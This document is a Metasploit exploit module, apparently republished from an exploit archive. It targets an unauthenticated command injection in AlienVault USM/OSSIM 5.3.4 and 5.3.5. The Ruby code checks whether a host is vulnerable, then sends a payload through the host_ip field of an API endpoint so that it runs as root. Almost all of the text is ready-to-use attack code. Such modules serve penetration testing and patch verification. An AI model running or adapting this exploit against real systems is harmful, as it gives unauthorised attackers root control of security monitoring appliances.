Alienvault OSSIM/USM 5.3.4/5.3.5 – Remote Command Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info = {}) super(update_info(info, 'Name' => 'AlienVault USM/OSSIM API Command Execution', 'Description' => %q{ This module exploits an unauthenticated command injection in Alienvault USM/OSSIM versions 5.3.4 and 5.3.5. The vulnerability lies in an API function that does not check for authentication and then passes user input directly to a system call as root. }, 'Author' => [ 'Unknown', # Privately disclosed to Alienvault 'Peter Lapp (lappsec@gmail.com)' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ ['URL', 'https://www.alienvault.com/forums/discussion/8415/'] ], 'Privileged' => false, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload' => { 'Compat' => { 'PayloadType' => 'cmd' } }, 'DefaultOptions' => { 'SSL' => true }, 'Targets' => [ [ 'Automatic', { }] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Feb 5 2017')) register_options( [ Opt::RPORT(40011) ], self.class) end def check res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'), 'vars_post' => { 'host_ip' => "127.0.0.1" }, 'headers' => { 'Accept' => "application/json" } }) if res and res.code == 200 and res.body.include?('success') return Exploit::CheckCode::Vulnerable end return Exploit::CheckCode::Safe end def exploit print_status("Executing payload...") res = send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/av/api/1.0/system/local/network/fqdn'), 'vars_post' => { 'host_ip' => ";#{payload.encoded}" }, 'headers' => { 'Accept' => "application/json" } }) end end |